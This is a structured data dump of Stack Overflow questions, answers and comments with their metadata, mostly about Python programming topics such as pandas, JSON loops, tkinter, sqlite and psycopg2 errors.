has body: You could use key word arguments: def solve_equation(v=None, t=None, s=None): if v is not None and t is not None: return v * t # s case elif s is not None and t: # t not None and not 0 return s / t # v case else: raise ValueError #"t should be defined or not zero" print(solve_equation(v=10, t=2)) print(solve_equation(s=2, t=7)) Output: 20 0.2857142857142857 Note that if you are using python 2, floats must be passed.
score: 4
type: Answer
answers question: http://stackoverflow.com/q/46923813

http://stackoverflow.com/comment/80777028
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46914781
has text: Did for all already :) thx

http://stackoverflow.com/a/46955352
answers question: http://stackoverflow.com/q/46937481
has comment: http://stackoverflow.com/comment/80858924
has comment: http://stackoverflow.com/comment/80858387
has comment: http://stackoverflow.com/comment/80858196
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46937481
score: 4
has comment: http://stackoverflow.com/comment/80858445
has comment: http://stackoverflow.com/comment/80860536
has comment: http://stackoverflow.com/comment/80858792
has body: First find value which miss and then add it to fillna: def f(y): a = list(set(x)-set(y)) a = 1 if len(a) == 0 else a[0] y = y.fillna(a) return (y) df['data'] = df.groupby('group')['data'].apply(f).astype(int) print (df) data group 0 0 1 1 1 1 2 2 1 3 0 2 4 1 2 5 2 2 6 2 3 7 0 3 8 1 3 EDIT: df = pd.DataFrame({'data':[0,1,2,0,np.nan,2,np.nan,np.nan,1, np.nan, np.nan, np.nan], 'group':[1,1,1,2,2,2,3,3,3,4,4,4]}) x = np.array([0,1,2]) print (df) data group 0 0.0 1 1 1.0 1 2 2.0 1 3 0.0 2 4 NaN 2 5 2.0 2 6 NaN 3 7 NaN 3 8 1.0 3 9 NaN 4 10 NaN 4 11 NaN 4 def f(y): a = list(set(x)-set(y)) if len(a) == 1: return y.fillna(a[0]) elif len(a) == 2: return y.fillna(a[0], limit=1).fillna(a[1]) elif len(a) == 3: y = pd.Series(x, index=y.index) return y else: return y df['data'] = df.groupby('group')['data'].apply(f).astype(int) print (df) data group 0 0 1 1 1 1 2 2 1 3 0 2 4 1 2 5 2 2 6 0 3 7 2 3 8 1 3 9 0 4 10 1 4 11 2 4
type: Answer
has comment: http://stackoverflow.com/comment/80858208
upvote count: 4

http://stackoverflow.com/comment/81024706
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47038887
has text: I am using windows 10.
score: 0

http://stackoverflow.com/a/47129061
upvote count: 1
has comment: http://stackoverflow.com/comment/81217531
answers question: http://stackoverflow.com/q/47051326
type: Answer
has body: Just use the read_table() of Pandas then make sure to include delim_whitespace=True and header=None.
has comment: http://stackoverflow.com/comment/81212797
has comment: http://stackoverflow.com/comment/81216685
downvote count: 0
score: 1

http://stackoverflow.com/comment/80985496
type: Comment
has text: Is the indentation in the code correct?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47019389

http://stackoverflow.com/q/46945722
has comment: http://stackoverflow.com/comment/80838615
type: UnansweredQuestion
has title: I need help to create a python program that can calculate GPA
has comment: http://stackoverflow.com/comment/80838597
has comment: http://stackoverflow.com/comment/80838587
tagged with: python
score: 0
answer count: 0
has body: Create a python program that requires the GPA of 5 classes. It has to be: 2-3 credits 89 and 70, 2-2 credits 94 and 80, 1-4 credits 95. I came up with this but have not gotten far.: def name(): name = input ("Enter a student name ") Grade1 = input ("Enter a grade: ") Grade2= input ("Enter a grade: ") Grade3 = input ("Enter a grade: ") Grade4 = input ("Enter a grade: ") Grade5 = input ("Enter a grade: ") return name, Grade1, Grade2, Grade3, Grade4, Grade5 def Grades(Grade1, Grade2, Grade3, Grade4, Grade5): if (Grade1, Grade2, Grade3, Grade4, Grade5) == '2 credits' or (Grade1, Grade2, Grade3, Grade4, Grade5) == '3 credits' (G1, G2, G3, G4, G5)= 89 and 90 elif (Grade1, Grade2, Grade3, Grade4, Grade5) == '2 credits' or (Grade1, Grade2, Grade3, Grade4, Grade5)=='2 credits' (G1, G2, G3, G4, G5)= 94 and 80 elif (Grade1, Grade2, Grade3, Grade4, Grade5)== '1 credit' or (Grade1, Grade2, Grade3, Grade4, Grade5)== '4 credits' (G1, G2, G3, G4, G5)= 95 else: return 'invalid grade' return G1,G2,G3,G4,G5 def GPA(G1,G2,G3,G4,G5): GPA = (G1,G2,G3,G4,G5)/5 return GPA def main(name, GPA): print "The GPA for", name, "is", GPA return 0 Name()=name,Grade1,Grade2,Grade3,Grade4,Grade5 Grades(Grade1,Grade2,Grade3,Grade4,Grade5)=G1,G2,G3,G4,G5 GPA(G1,G2,G3,G4,G5)=GPA main(name,GPA)=0
tagged with: calculator
has comment: http://stackoverflow.com/comment/80838616
type: Question

http://stackoverflow.com/comment/81021012
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47037150
has text: Are you using these indices in an interactive mode or are they *hard-coded* indices in your program?

http://stackoverflow.com/comment/80995708
comment on: http://stackoverflow.com/q/47024278
score: 1
type: Comment
type: QuestionComment
has text: Why do you think the first case should produce an error? Do you think `math.pi` is local to your function?

http://stackoverflow.com/q/46975135
type: Question
linked to: http://stackoverflow.com/q/46976665
has answer: http://stackoverflow.com/a/46975494
upvote count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/46975326
has answer: http://stackoverflow.com/a/46975326
type: AnsweredQuestion
has title: JSON wrong loop output in Python
has body: I am playing with JSON format and there is a small problem with this (very simple) code. import json bol = [] caus = [] num = [] idx = 0 count = [idx] while idx &lt; 10: idx += 1 bollettini = \ { 'Nome bollettino': 'Bollettino ' + str(idx) } causale = \ { 'Causale': str(idx) } numero = \ { 'Numero': str(idx) } bol.append(bollettini) caus.append(causale) num.append(numero) data = (bol+caus+num) json_data = json.dumps(data) print(json_data) It prints out this: [{"Nome bollettino": "Bollettino 1"}, {"Causale": "1"}, {"Numero": "1"}] [{"Nome bollettino": "Bollettino 1"}, {"Nome bollettino": "Bollettino 2"}, {"Causale": "1"}, {"Causale": "2"}, {"Numero": "1"}, {"Numero": "2"}] [{"Nome bollettino": "Bollettino 1"}, {"Nome bollettino": "Bollettino 2"}, {"Nome bollettino": "Bollettino 3"}, {"Causale": "1"}, {"Causale": "2"}, {"Causale": "3"}, {"Numero": "1"}, {"Numero": "2"}, {"Numero": "3"}] [{"Nome bollettino": "Bollettino 1"}, {"Nome bollettino": "Bollettino 2"}, {"Nome bollettino": "Bollettino 3"}, {"Nome bollettino": "Bollettino 4"}, {"Causale": "1"}, {"Causale": "2"}, {"Causale": "3"}, {"Causale": "4"}, {"Numero": "1"}, {"Numero": "2"}, {"Numero": "3"}, {"Numero": "4"}] [{"Nome bollettino": "Bollettino 1"}, {"Nome bollettino": "Bollettino 2"}, {"Nome bollettino": "Bollettino 3"}, {"Nome bollettino": "Bollettino 4"}, {"Nome bollettino": "Bollettino 5"}, {"Causale": "1"}, {"Causale": "2"}, {"Causale": "3"}, {"Causale": "4"}, {"Causale": "5"}, {"Numero": "1"}, {"Numero": "2"}, {"Numero": "3"}, {"Numero": "4"}, {"Numero": "5"}] [{"Nome bollettino": "Bollettino 1"}, {"Nome bollettino": "Bollettino 2"}, {"Nome bollettino": "Bollettino 3"}, {"Nome bollettino": "Bollettino 4"}, {"Nome bollettino": "Bollettino 5"}, {"Nome bollettino": "Bollettino 6"}, {"Causale": "1"}, {"Causale": "2"}, {"Causale": "3"}, {"Causale": "4"}, {"Causale": "5"}, {"Causale": "6"}, {"Numero": "1"}, {"Numero": "2"}, {"Numero": "3"}, {"Numero": "4"}, {"Numero": "5"}, {"Numero": "6"}] [{"Nome bollettino"…
has comment: http://stackoverflow.com/comment/80897981
has comment: http://stackoverflow.com/comment/80897817
score: 1
has comment: http://stackoverflow.com/comment/80897834
tagged with: http://stackoverflow.com/tag/json
possible better answer: http://stackoverflow.com/a/46975300
has answer: http://stackoverflow.com/a/46975327
tagged with: loops
downvote count: 1
has answer: http://stackoverflow.com/a/46975300
has comment: http://stackoverflow.com/comment/80897888
answer count: 4
favorite count: 0

http://stackoverflow.com/comment/80921498
comment on: http://stackoverflow.com/q/46987339
has text: Show us what are your efforts towards solving this.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80899675
type: QuestionComment
has text: do you intent to print??.... print(frog)??
comment on: http://stackoverflow.com/q/46976114
score: 1
type: Comment

http://stackoverflow.com/comment/80884108
type: QuestionComment
has text: Is there a reason why you used Python libraries instead of installing the appropriate ones for Jython?
comment on: http://stackoverflow.com/q/46968333
score: 0
type: Comment

http://stackoverflow.com/a/46972892
answers question: http://stackoverflow.com/q/46970773
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/90346100
has comment: http://stackoverflow.com/comment/80895894
score: 2
has comment: http://stackoverflow.com/comment/80893251
type: Answer
accepted answer of: http://stackoverflow.com/q/46970773
has body: Adding the following to CMakeLists.txt find_package(PythonLibs REQUIRED) set(PYTHON_EXECUTABLE "/usr/bin/python2.7") set(PYTHON_INCLUDE_DIR "/usr/include/python2.7") set(PYTHON_LIBRARIES "/usr/lib/x86_64-linux-gnu/libpython2.7.so") include_directories(${PYTHON_INCLUDE_DIRS}) add_executable(TARS ${SOURCES}) target_link_libraries(TARS ${PYTHON_LIBRARIES}) thus forcing the use of python 2.7

http://stackoverflow.com/a/46982545
has body: The easiest approach, IMHO, would be to just count the number of times quota appears there: if (a, b, c, d, e).count(quota) &gt;= 2: print "quota met"
answers question: http://stackoverflow.com/q/46982491
has comment: http://stackoverflow.com/comment/80913130
has comment: http://stackoverflow.com/comment/80912602
type: Answer
score: 6
upvote count: 6
has comment: http://stackoverflow.com/comment/80912874
downvote count: 0

http://stackoverflow.com/q/46975957
linked to: http://stackoverflow.com/q/1747817
score: 1
answer count: 7
has answer: http://stackoverflow.com/a/46976036
has answer: http://stackoverflow.com/a/46976013
favorite count: 0
has answer: http://stackoverflow.com/a/46976105
type: Question
linked to: http://stackoverflow.com/q/38987
has body: Let us Assume, I have a key value pair in python, such as the following. a = {'44': [0, 0, 1, 0, 1], '43': [0, 0, 1, 0, 0]} now I want to combine these values with: b = {'44': ['test1'], '43': ['test2']} How can I do the output below in python? c = {'44': [0, 0, 1, 0, 1, 'test1], '43': [0, 0, 1, 0, 0,'test2']}
has answer: http://stackoverflow.com/a/46976078
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80899437
has answer: http://stackoverflow.com/a/46976005
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/46976328
has answer: http://stackoverflow.com/a/46976071
has title: Combine dictionary according to key value in python
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/126964566
has text: same did not work for me in spark 3 as well...
type: AnswerComment
comment on: http://stackoverflow.com/a/57400211
type: Comment
score: 2

http://stackoverflow.com/q/46959974
type: AnsweredQuestion
tagged with: pandas-groupby
tagged with: pandas
answer count: 1
score: -1
has title: Sort and analyse grouped data
has body: I want to get started with some data-analysis. Basically I have 2 columns 'number' and 'date' with both reappearing a few times. I want to sort my data numbers and then for each number group sort the 'date' data. Finally I want to create another column 'dif' which gives me the difference from the first 'date' of a group to each other 'date' in the cluster. But it's not working as I expect, how can I implement this? This is what I got so far, sorting works for the 'number' column. import pandas as pd import numpy as np df=pd.ExcelFile('result.xlsx') df=df.parse(0) df=df.sort_values(['number'], ascending=True) #sorting df = df.reset_index(drop=True) #index reset number=df['number'] #creating number and date date=df['date'] df['dif']='' rowcount=len(df.index) #create rowcounting as maximum index print('rowcount:', rowcount) #17 rows, start with 0 up to 16 print(df) #data is sorted and need to be analzsed def applyFunc(i): if number[i] == number [i+1]: if date[i+1]&gt;date[i]: return date[i+1]-date[i] else: return date[i]-date[i+1] df['dif']=df.apply(applyFunc) This is my dataframe data without 'date' being sorted and with nothing in the the 'dif' column. rowcount: 17 number date dif 0 1624 2017-01-06 1 1624 2017-01-07 2 1633 2017-01-05 3 1633 2017-01-08 4 1633 2017-01-14 5 1716 2017-01-02 6 1716 2017-01-04 7 1716 2017-01-04 8 1716 2017-01-09 9 2165 2017-01-10 10 2323 2017-01-07 11 4564 2017-01-13 12 4564 2017-01-11 13 4568 2017-01-12 14 6565 2017-01-05 15 6565 2017-01-06 16 6565 2017-01-09 p.s. i tried it with groupby and sort_values for both columns but didnt get it working.
type: Question
upvote count: 0
accepted answer: http://stackoverflow.com/a/46960092
has answer: http://stackoverflow.com/a/46960092
tagged with: python
downvote count: 1
favorite count: 0

http://stackoverflow.com/a/46918198
accepted answer of: http://stackoverflow.com/q/46917915
has comment: http://stackoverflow.com/comment/80787452
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/80783814
answers question: http://stackoverflow.com/q/46917915
has body: Would this work for you? I changed the lines with # comments, I think, I can't really remember what I did I just tryed to get it working, one problem which I'm not happy with though is the entry widget is not the same height as the button, I guess you could manually set its height but.. from tkinter import * def main(): root = Tk() root.grid_columnconfigure(1,weight=1) # the text and entry frames column root.grid_rowconfigure(0,weight=1) # all frames row buttonframe = Frame(root) buttonframe.grid(row=0, column=0, sticky="nswe") entry_text_frame = Frame(root) entry_text_frame.grid(row=0, column=1, sticky="nswe") entry_text_frame.grid_columnconfigure(0,weight=1) # the entry and text widgets column entry_text_frame.grid_rowconfigure(1,weight=1) # the text widgets row button1 = Button(buttonframe, text='one', width=8) button1.grid(row=0, column=0, sticky='nswe') button2 = Button(buttonframe, text='two', width=8) button2.grid(row=1, column=0, sticky='nswe') entry1 = Entry(entry_text_frame) entry1.grid(row=0, column=0, sticky='nswe') text1 = Text(entry_text_frame, highlightbackground='black', highlightthickness=1) text1.grid(row=1, column=0, sticky='news') root.geometry("300x400") if __name__ == '__main__': main()
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80783937

http://stackoverflow.com/q/46932403
has comment: http://stackoverflow.com/comment/80811974
has comment: http://stackoverflow.com/comment/80811876
tagged with: python
has answer: http://stackoverflow.com/a/46935524
has title: Pandas, how to stop reading csv after N rows?
downvote count: 0
has comment: http://stackoverflow.com/comment/80811915
upvote count: 1
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80811837
linked to: http://stackoverflow.com/q/34184841
favorite count: 0
type: Question
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
score: 1
has body: I have some csv files I want to read, which for whatever reason is formatted like this A B C 1 3 1 2 2 2 3 1 3 D 1 2 3 The problem here is that column D is below the other columns, and this makes Pandas very unhappy, once it finishes reading column A, and dives straight into D's column name string. I can of course read it like pd.read_csv(file, skiprows=1, nrows = rows_in_A_B_C) Basically, nrows = length_of_A_B_C. Problem is, I don't know the number of rows before D, and I can't read the csv until I do. How can I solve this? Can I stop reading rows based on a condition instead, such as when I hit the header for D?

http://stackoverflow.com/a/46919844
type: Answer
score: 3
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/46919695
has comment: http://stackoverflow.com/comment/80787389
has body: I will first explain what your current code does, why it's wrong, and then how to rewrite the code. for row in ('*'): print(row * userrow) for column in ('*'): print(column * usercolumn) This iterates a variable named row through '*'. Since this is an iterable of size 1, it effectively does not loop. So your code is essentially: row = '*' print(row * userrow) for column in '*': print(column * usercolumn) The same can be said for the column: row = '*' print(row * userrow) column = '*' print(column * usercolumn) This just prints userrow asterisks and then usercolumn asterisks. What you instead want to do is loop userrow times or usercolumn times: for i in range(usercolumn): print('*' * userrow) That would work, which prints usercolumn asterisks, userrow times. Alternatively, print('\n'.join(['*'*usercolumn]*userrow)).
has comment: http://stackoverflow.com/comment/80787422

http://stackoverflow.com/comment/80834929
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46943338
has text: If I'm understanding what you're saying correctly, you're saying that it isn't drawing a point and it just looks like a point from far away. However, I'm fairly certain this isn't the case. Attached is a figure of many vectors all of length 1 unit with the axis scaling I was using before. However, the ones closer to vertical are dots and the others are vectors. ( I accidentally posted this before learning how to add images so please bear with me)

http://stackoverflow.com/q/46954333
has title: TFLearn stuck while fitting network involving tf.map_fn()
favorite count: 0
type: Question
has body: My code here is ... network = fully_connected(network, 512, activation='relu') print(network) #network = tf.map_fn(lambda x:tf.abs(x), network) network=... (the tf.abs op is just as an example, I've tried other functions, including a function that does nothing but returns the input, but none of these helps) By commenting the third line, the program will stuck at here forever: Preprocessing... Calculating std over all dataset (this may take long)... STD: 0.30816 (To avoid repetitive computation, add it to argument 'std' of `add_featurewise_stdnorm`) INFO:tensorflow:Summary name Accuracy/ (raw) is illegal; using Accuracy/__raw_ instead. --------------------------------- Training samples: 55000 Validation samples: 10000 I am not sure what to do by now.
tagged with: python
score: 2
upvote count: 2
tagged with: python-3.x
tagged with: deep-learning
downvote count: 0
answer count: 0
type: UnansweredQuestion
tagged with: tflearn
tagged with: tensorflow

http://stackoverflow.com/comment/80779013
type: QuestionComment
comment on: http://stackoverflow.com/q/46915239
type: Comment
has text: @LongwenOu I believe OP wants to have a `for` loop (with all its iterator goodies) with some `while` semantics to additionally check for `self.zot == 1` and one way to do this is to check before and in the loop
score: 0

http://stackoverflow.com/q/46983871
has title: Scikit Random Forest Classifier does not evaluate to True
accepted answer: http://stackoverflow.com/a/46983949
has answer: http://stackoverflow.com/a/46983949
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/80915249
upvote count: 4
type: AnsweredQuestion
downvote count: 0
answer count: 1
tagged with: machine-learning
has body: Curious edge behavior. In this example, KNN exists gets printed, but Random Forest exists does not. Discovered it when checking for the presence of a model, where if model: ... was not triggered when the model is a Random Forest. from sklearn.ensemble import RandomForestClassifier from sklearn.neighbors import KNeighborsClassifier if KNeighborsClassifier(4): print('KNN exists') if RandomForestClassifier(n_estimators=10, max_depth=4): print('Random Forest exists') Why does this happen?
tagged with: scikit-learn
favorite count: 0
type: Question

http://stackoverflow.com/comment/81040599
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47031021
score: 0
has text: I honestly don't fully understand what is the problem that you have, but if you want to support two types of authentication with Flask-HTTPAuth, then I recommend that you create two `HTTPBasicAuth` object, each with their own `verify_password` function. Then you can decorate your routes with one or the other according to your needs.

http://stackoverflow.com/comment/80939068
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46991762
has text: For latest Mono you need to install from master branch: https://github.com/pythonnet/pythonnet/wiki/Installation

http://stackoverflow.com/q/46991306
downvote count: 0
tagged with: nested
accepted answer: http://stackoverflow.com/a/46991411
has answer: http://stackoverflow.com/a/46991368
has comment: http://stackoverflow.com/comment/80929218
has answer: http://stackoverflow.com/a/46991411
type: Question
type: AnsweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80929222
tagged with: dictionary
favorite count: 0
tagged with: list
upvote count: 2
score: 2
has title: Python - Check for existence of list item within dictionary
possible better answer: http://stackoverflow.com/a/46991368
has body: I have a dictionary with a list within like the 2 examples below. some_json = {'speaking_tone': [{'speaking_id': 0, 'spoken_text': 'register my device', 'tones': []}]} some_json = {'speaking_tone': [{'speaking_id': 0, 'spoken_text': 'So kind of you to help with the issue', 'tones': [{'tone_name': 'Polite'}]}]} I want to check for the existence of values inside of "tones" and then do the subsequent processing. If not, proceed to the next step. I tried the following and they always result in index out of range error. if len(some_json["speaking_tone"][0]["tones"][0]["tone_name"]) &gt; 0:
answer count: 2

http://stackoverflow.com/comment/80956328
comment on: http://stackoverflow.com/a/46995173
score: 0
type: Comment
type: AnswerComment
has text: @JeffSaltfist: Did you want `'` escaped when `"` is present?

http://stackoverflow.com/q/46966278
accepted answer: http://stackoverflow.com/a/46966807
possible better answer: http://stackoverflow.com/a/50423293
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46966807
has title: psycopg2 import error when ubuntu upgraded to 17.10 (from 17.04)
upvote count: 8
tagged with: python
tagged with: ubuntu
answer count: 4
score: 8
has answer: http://stackoverflow.com/a/46977783
has body: Everything was working great until I upgraded the OS to Ubuntu 17.10. Now my Django project won't run (python manage.py runserver) because psycopg2 won't import. psycopg2 is already installed with pip (nothing has changed there). To be exact this is the error: lib/python3.5/site-packages/psycopg2/.libs/libresolv-2-c4c53def.5.so: symbol __res_maybe_init, version GLIBC_PRIVATE not defined in file libc.so.6 with link time reference
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/50423293
tagged with: ubuntu-17.04
downvote count: 0
has answer: http://stackoverflow.com/a/52736091
tagged with: django
tagged with: psycopg2

http://stackoverflow.com/comment/80928492
comment on: http://stackoverflow.com/a/46988784
has text: Yes it should. Check it for yourself and let me know if it has any issues.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/47006082
answer count: 1
tagged with: rowid
favorite count: 0
has title: How to get the rowid of a word in the database sqlite3?
has comment: http://stackoverflow.com/comment/80960906
type: Question
tagged with: sqlite
score: 1
has comment: http://stackoverflow.com/comment/80962700
has body: I am trying to get the rowid of a username in sqlite3, i have got the basics of it but when ever i run it i get somthing like 'sqlite3.Cursor object at 0x03885660' and it changes every time i run it with the same username. I know it is because i print rowid but i cant find an alternative way. here is my code: def sign_in(): username = input("What is your username?") password = input("What is your password?") c.execute("SELECT username FROM stuffToPlot") names = {name[0] for name in c.fetchall()} if username in names: rowid = c.execute("SELECT rowid, * FROM stuffToPlot WHERE username = (username)") print(rowid)
downvote count: 0
upvote count: 1
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47007002

http://stackoverflow.com/q/47007301
downvote count: 1
favorite count: 0
tagged with: marshalling
accepted answer: http://stackoverflow.com/a/47011303
type: Question
tagged with: c#
has answer: http://stackoverflow.com/a/47011303
upvote count: 2
tagged with: pinvoke
has title: P/Invoke marshaling and unmarshalling 2D array, structure and pointers between C# and unmanaged DLL
tagged with: python
tagged with: c++
type: AnsweredQuestion
has body: Flann C++ library has wrappers for C, C++, Python, Matlab and Ruby but no C# wrapper available. I am trying to create a C# wrapper around flann.dll 32-bit unmanaged DLL downloaded from here. Being new to PInvoke/marshalling, I am quite certain I am not doing the C# P/Invoke calls to the DLL correctly. I am basically trying to mirror the available Python wrapper in C#. Main areas of confusion are: I am not sure how to marshal (input) and unmarshal (output) between a 2D managed rectangular array in C# where the argument type is float* i.e. pointer to a query set stored in row major order (according to comments in flann.h). I am also not sure how I am passing a structure reference to C is correct i.e. struct FLANNParameters* Is IntPtr appropriate to reference typedef void* and int* indices? Unmanaged C (flann.dll library) Public exported C++ methods from flann.h that I need to use are as follows: typedef void* FLANN_INDEX; /* deprecated */ typedef void* flann_index_t; FLANN_EXPORT extern struct FLANNParameters DEFAULT_FLANN_PARAMETERS; // dataset = pointer to a query set stored in row major order FLANN_EXPORT flann_index_t flann_build_index(float* dataset, int rows, int cols, float* speedup, struct FLANNParameters* flann_params); FLANN_EXPORT int flann_free_index(flann_index_t index_id, struct FLANNParameters* flann_params); FLANN_EXPORT int flann_find_nearest_neighbors(float* dataset, int rows, int cols, float* testset, int trows, int* indices, float* dists, int nn, struct FLANNParameters* flann_params); Managed C# wrapper (my implementation) Here is my C# wrapper based on the above publicly exposed methods. NativeMethods.cs using System; using System.Runtime.InteropServices; namespace FlannWrapper { /// /// Methods to map between native unmanaged C++ DLL and managed C# /// Trying to mirror: https://github.com/mariusmuja/flann/blob/master/src/cpp/flann/flann.h /// public class NativeMethods { /// /// 32-bit flann dll obtained from from http://sourceforge.net/projects/…
has comment: http://stackoverflow.com/comment/80968216
answer count: 1
score: 1

http://stackoverflow.com/q/46970475
type: Question
has comment: http://stackoverflow.com/comment/80888314
has answer: http://stackoverflow.com/a/46970546
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80888983
has body: In my class, we're making a text adventure, and I'm just trying to walk between rooms. So far, I made a class called "Room". class Room(object): def __init__(self,name): self.name = name As well as some rooms to move between with subclasses. class Backyard(Room): global current def __init__(self): self.name = "Backyard" def choose(self,choice): if "north" in choice: current = kitchen else: print("You cannot go that way") return current class Kitchen(Room): global current def __init__(self): self.name = "Kitchen" def choose(self,choice): if "south" in choice: current = yard else: print("You cannot go that way") return current yard = Backyard() kitchen = Kitchen() Now, to run the actual game, I have this. run = True current = yard show_yard while run: choose(input("&gt;&gt;&gt; ") show_current The show_yard function just prints a description of that room (the yard), but when I run the game, I was hoping to be able to use show_current so that whatever the variable 'current' was set to, it would read off that description, but instead it gives me an error because there's no function called 'show_current'. I'm wondering if there is some way to insert variables when calling a function so that I don't have to write a whole bunch of code for something that could be solved in something as simple as this. Thanks.
has comment: http://stackoverflow.com/comment/80888807
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80888293
has comment: http://stackoverflow.com/comment/80888292
score: 0
answer count: 1
tagged with: python
favorite count: 0
has title: Using variables in function names

http://stackoverflow.com/q/46913873
has answer: http://stackoverflow.com/a/46919335
tagged with: http://stackoverflow.com/tag/html
tagged with: pymongo
tagged with: python
type: Question
has title: How to add a radio button to each individual object in a mongoDB database, and update a certain field?
score: 0
type: UnansweredQuestion
answer count: 1
has body: What i have tried is: My python - @app.route('/approveStudent', methods=['POST']) def approveStudent(): users = mongo.db.users studentRadio = request.form['studentRadio'] result = users.update_one({'user_id': 469}, {'$set': {'approved' : 1}}) return redirect(url_for('profile')) In my database there is a user_id who is 469 and that i want approved to be 1. My HTML: I have a form which returns {{ students }} How would i loop through all students not just one user_id and put them in a radio button to approve eg. Set approved to 1. Any help is appreciated. Thanks.
tagged with: flask

http://stackoverflow.com/a/46986608
accepted answer of: http://stackoverflow.com/q/46971808
answers question: http://stackoverflow.com/q/46971808
downvote count: 0
type: Answer
has body: Seems like you are attempting to do Handwritten Recognition or similarly Optical Character Recognition or OCR. This is quite a broad field, and there are many ways to proceed. Even though, one approach I suggest is the following: It is commonly known that Neural Networks have fixed size inputs, that is if you build it to take, say, inputs of shape (28,28,1) then the model will expect that shape as their inputs. Therefore, having a dimension in your samples that depends on the number of letters in a sentence (something variable) is not recommended, as you will not be able to train a model in such way with NNs. Training such a model could be possible if you design it to predict one character at a time, instead a whole sentence that can have different lengths, and then group the predicted characters. The steps you could try to achieve this could be: Obtain training samples for the characters you wish to recognize (like the MNIST database for example), and design and train your model to predict one character at a time. Take the image with writing to classify and pass a Sliding Window over it that matches your expected input size (say a 28x28 window). Then, classify each of those windows to a character. Instead of Sliding Window, you could try isolating your desired features somehow and just classify those 28x28 segments instead. Group the predicted characters somehow so you get words (probably grouping those separated by empty spaces) or do whatever you want with the predictions. You can also try searching for tutorials or guides for Handwriting recognition like this one I have found quite useful. Hope this helps you get on track, good luck.
has comment: http://stackoverflow.com/comment/80927292
score: 1
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/a/46917144
type: Answer
answers question: http://stackoverflow.com/q/46917025
score: 0
has body: Just treat it like a text file and replace the tabs: with open('example.py') as infile: lines = infile.readlines() lines = [line.replace('\t', ' ') for line in lines] with open('example.py', 'w') as outfile: outfile.writelines(lines)

http://stackoverflow.com/comment/80988329
comment on: http://stackoverflow.com/q/47019422
has text: Do you mean smali or dex? Enjarify parses dex files and is written in Python.
score: 0
type: Comment
type: QuestionComment

text
tags question: http://stackoverflow.com/q/47025287
tags question: http://stackoverflow.com/q/46945281
tags question: http://stackoverflow.com/q/46985556
tags question: http://stackoverflow.com/q/47061324
tags question: http://stackoverflow.com/q/46907957
tags question: http://stackoverflow.com/q/47006932
tags question: http://stackoverflow.com/q/46960499
tags question: http://stackoverflow.com/q/47061089
tags question: http://stackoverflow.com/q/47048904
type: Tag
tags question: http://stackoverflow.com/q/46959491
tags question: http://stackoverflow.com/q/47033153
tags question: http://stackoverflow.com/q/46967080
tag name: text
tags question: http://stackoverflow.com/q/47030227
tags question: http://stackoverflow.com/q/46992799
tags question: http://stackoverflow.com/q/46909352

http://stackoverflow.com/comment/89198829
type: QuestionComment
has text: @jonrsharpe It seems to me that the duplicate you've picked isn't really a duplicate (the other question doesn't address whether it's possible to make routing depend upon the query string) and that your comment ought to be an *answer* so it can be exposed to voting and commentary and so you or someone else can edit in some sort of supporting evidence like a quotation from the docs. As it is, you've basically answered in the comments and then closed as a duplicate of what's fundamentally a different question.
comment on: http://stackoverflow.com/q/47035558
score: 1
type: Comment

http://stackoverflow.com/q/46964660
type: Question
has comment: http://stackoverflow.com/comment/80878637
has comment: http://stackoverflow.com/comment/80877383
accepted answer: http://stackoverflow.com/a/46964696
has answer: http://stackoverflow.com/a/46964696
has title: Replacing selected elements in a list with the corresponding element from another list, very basic beginning programmer style
upvote count: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/46964740
has body: So this is an assignment being done through the MyProgrammingLab class system. MPL is not a python compiler in the literal sense. As near as I can tell it has a python emulator that it passes the code I submit through, looks at the end result and if it matches what it expects as an answer it says it's good. If it doesn't match it uses some sort of comparison between the code I submit and the code snippets and fragments it will accept as valid, and lists some assortment of differences as "helpful hints" (hints that tend to be wrong anyway). The closest to 'error' messaged I get from it are generally these phases like "The variable X does not contain the proper value." So this is more a question about concept then strict code. Okay so my assignment is as follows: Given that L1 and L2 both refer to lists, write a statement that replaces the elements in L1 from index 5 through (and including) index 8 with all the elements of L2. I've done the prior exercises in this section dealing with lists. The only difference here is instead of replacing set values into a given index of a given list, I'm replacing those values with the values found in the corresponding indexes found in another list. In the immediately prior exercise I had to set the value of the 0-3 indexes to "spam","eggs", and "vikings", which I did by: play_list[0:3] = ["spam","eggs","vikings"] Now I already know this is basically worthless code, its the equivalent of connecting a battery to an LED, seeing the LED light up and saying "This demonstrates electricity". But it at least demonstrates the concept. So okay, I figure a similar approach: L2[5:9] = L1[5:9] Well... no. I get the response that L2 does not contain the correct values. So at this point, the question is am I approaching this with the right application? I start with one list (L1), and want to copy the values found in indexes 5-8 to the list (L2) at the same indexes so just set L1[5:9] = L2[5:9] I've read the question Replace element in list with e…
has comment: http://stackoverflow.com/comment/80877213
has comment: http://stackoverflow.com/comment/80877182
has comment: http://stackoverflow.com/comment/80877317
